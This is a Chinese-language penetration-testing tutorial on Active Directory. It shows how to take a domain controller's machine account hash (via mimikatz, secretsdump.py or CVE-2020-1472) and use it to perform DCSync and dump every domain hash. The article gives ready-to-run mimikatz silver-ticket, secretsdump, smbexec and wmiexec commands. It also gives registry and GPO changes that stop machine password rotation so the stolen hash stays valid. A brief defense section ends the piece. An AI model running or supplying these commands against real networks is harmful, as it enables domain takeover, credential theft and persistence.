[[344260]]
0x00 前言
在之前的文章《域滲透——DCSync》提到過DCSync的利用條件:
獲得以下任一用戶的權(quán)限:
· Administrators組內(nèi)的用戶
· Domain Admins組內(nèi)的用戶
· Enterprise Admins組內(nèi)的用戶
· 域控制器的計(jì)算機(jī)帳戶
本文將要補(bǔ)全上篇文章中未提到的最后一種利用方法,介紹如何通過域控制器的計(jì)算機(jī)帳戶口令hash實(shí)現(xiàn)DCSync。
0x01 簡介
本文將要介紹以下內(nèi)容:
· MachineAccount簡介
· 獲得MachineAccount口令hash的方法
· 使用MachineAccount實(shí)現(xiàn)DCSync
· 防御檢測(cè)
0x02 MachineAccount簡介
MachineAccount是每臺(tái)計(jì)算機(jī)在安裝系統(tǒng)后默認(rèn)生成的計(jì)算機(jī)帳戶。
計(jì)算機(jī)帳戶的密碼存儲(chǔ)在注冊(cè)表的位置:HKLM\SECURITY\Policy\Secrets\$machine.ACC。
如果計(jì)算機(jī)加入域中,會(huì)將計(jì)算機(jī)帳戶的密碼同步到域控制器并保存在域控制器的NTDS.dit文件中。
計(jì)算機(jī)帳戶的密碼默認(rèn)每30天自動(dòng)更新,密碼長度為120個(gè)字符,所以說,即使獲得了計(jì)算機(jī)帳戶密碼的hash,也很難還原出計(jì)算機(jī)帳戶的明文口令。
關(guān)閉當(dāng)前計(jì)算機(jī)帳戶密碼自動(dòng)更新的兩種方法(適用于工作組):
1.修改組策略
組策略位置:
Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\
如下圖:

默認(rèn)未啟用,如果設(shè)置為啟用后,將會(huì)停止更新密碼。
參考資料:
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc785826(v=ws.10)
2.直接修改注冊(cè)表
注冊(cè)表位置:HKLM\System\CurrentControlSet\Services\Netlogon\Parameters\
將DisablePasswordChange的值設(shè)為1。
關(guān)閉域內(nèi)計(jì)算機(jī)帳戶密碼自動(dòng)更新的兩種方法(適用于域網(wǎng)絡(luò)):
1.修改組策略
這里需要修改域組策略,在域控制器上打開Group Policy Management后,選擇Default Domain Policy。
如下圖:

組策略位置:
Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\
2.修改組策略的配置文件
Default Domain Policy對(duì)應(yīng)的guid為31B2F340-016D-11D2-945F-00C04FB984F9
配置文件路徑為:

例如我的測(cè)試環(huán)境下,路徑對(duì)應(yīng)為:
\\test.com\SYSVOL\test.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit
修改文件GptTmpl.inf,在[Registry Values]下添加新的內(nèi)容:
MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange=4,1
如下圖:

強(qiáng)制域控制器更新組策略,命令如下:
gpupdate /force
配置完成,將系統(tǒng)時(shí)間調(diào)快30天,hash保持不變。
0x03 獲得MachineAccount口令hash的方法
1.通過注冊(cè)表文件導(dǎo)出當(dāng)前計(jì)算機(jī)帳戶的口令hash
mimikatz命令示例:
privilege::debug
token::elevate
lsadump::secrets
返回的結(jié)果中,$machine.ACC項(xiàng)對(duì)應(yīng)計(jì)算機(jī)帳戶,如下圖:

其他從注冊(cè)表導(dǎo)出的方法可參考之前的文章《滲透技巧——通過SAM數(shù)據(jù)庫獲得本地用戶hash》
2.使用DCSync導(dǎo)出所有計(jì)算機(jī)帳戶的口令hash
(1)使用mimikatz
在域控制器上使用mimikatz導(dǎo)出域內(nèi)所有用戶的hash,命令示例:
mimikatz.exe "lsadump::dcsync /domain:test.com /all /csv" exit
其中以$字符結(jié)尾的為計(jì)算機(jī)帳戶。
其他環(huán)境下的使用方法可參考之前的文章《域滲透——DCSync》。
(2)使用secretsdump.py
需要安裝Python環(huán)境和Impacket包,實(shí)際使用時(shí)可以將Python代碼編譯成exe文件。
命令示例:
python secretsdump.py test/Administrator:DomainAdmin123!@192.168.1.1
secretsdump.py相比于mimikatz,最大的優(yōu)點(diǎn)是支持從域外的計(jì)算機(jī)連接至域控制器。
secretsdump.py的實(shí)現(xiàn)原理:
使用計(jì)算機(jī)帳戶口令hash通過smbexec或者wmiexec遠(yuǎn)程連接至域控制器并獲得高權(quán)限,進(jìn)而從注冊(cè)表中導(dǎo)出本地帳戶的hash,同時(shí)通過Dcsync或從NTDS.dit文件中導(dǎo)出所有域用戶的hash。
3.通過漏洞CVE-2020-1472
參考資料:
https://www.secura.com/pathtoimg.php?id=2055
CVE-2020-1472能夠在未授權(quán)的狀態(tài)下遠(yuǎn)程修改目標(biāo)計(jì)算機(jī)帳戶的口令hash。
注:
CVE-2020-1472只能修改域控制器NTDS.dit文件中保存的計(jì)算機(jī)帳戶hash,無法修改注冊(cè)表中保存的本地計(jì)算機(jī)帳戶hash。
當(dāng)域控制器中NTDS.dit文件和注冊(cè)表文件的計(jì)算機(jī)帳戶口令hash不同步時(shí),有可能影響系統(tǒng)的正常功能。
0x04 使用MachineAccount實(shí)現(xiàn)DCSync
例如,我們獲得了域控制器DC1的計(jì)算機(jī)帳戶口令hash為7da530fba3b15a2ea21ce7db8110d57b。
1.使用mimikatz
這里需要制作白銀票據(jù)(Silver Ticket),接著獲得LDAP服務(wù)的訪問權(quán)限,細(xì)節(jié)可參考之前的文章《域滲透——Pass The Ticket》。
命令示例:
mimikatz "kerberos::golden /domain:test.com /sid:S-1-5-21-254706111-4049838133-2416586677 /target:DC1.test.com /service:LDAP /rc4:7da530fba3b15a2ea21ce7db8110d57b /user:krbtgt /ptt" "lsadump::dcsync /domain:test.com /all /csv" exit
在細(xì)節(jié)上需要注意以下方面:
· 只能在域內(nèi)計(jì)算機(jī)上運(yùn)行,不支持域外
· /sid表示域的sid,獲取方法可參考之前的文章《滲透基礎(chǔ)——活動(dòng)目錄信息的獲取》
· /rc4表示計(jì)算機(jī)帳戶的NTLM hash
· /user:krbtgt表示偽造成用戶krbtgt,生成票據(jù)
注:域sid的簡單獲取方法。
任一域用戶的sid去除最后一位就是域的sid。
2.使用secretsdump
命令示例:
python secretsdump.py -hashes :7da530fba3b15a2ea21ce7db8110d57b test/DC1$@192.168.1.1
在細(xì)節(jié)上需要注意以下方面:
· secretsdump支持從域外的計(jì)算機(jī)連接至域控制器
· 如果使用域內(nèi)普通計(jì)算機(jī)帳戶的口令hash連接對(duì)應(yīng)的計(jì)算機(jī),那么會(huì)失敗,提示rpc_s_access_denied
· 可以通過wmiexec.py或smbexec.py遠(yuǎn)程執(zhí)行cmd命令
命令示例:
python smbexec.py -hashes :7da530fba3b15a2ea21ce7db8110d57b test/DC1$@192.168.1.1 whoami /priv
python wmiexec.py -hashes :7da530fba3b15a2ea21ce7db8110d57b test/DC1$@192.168.1.1 whoami /priv
注:
使用計(jì)算機(jī)帳戶具有高權(quán)限,如下圖:

0x05 防御檢測(cè)
檢測(cè)DCSync后門的方法可參考《域滲透——DCSync》
站在防御的角度,如果域管理員的權(quán)限被攻擊者獲得,在嘗試踢出攻擊者的過程中,不僅需要修改域管理員用戶的口令,同樣需要更新計(jì)算器帳戶的口令hash,檢測(cè)域組策略是否被配置成開啟DisablePasswordChange
0x06 小結(jié)
本文介紹了通過域控制器的計(jì)算機(jī)帳戶口令hash實(shí)現(xiàn)DCSync的方法,分析利用思路,給出防御建議。
【編輯推薦】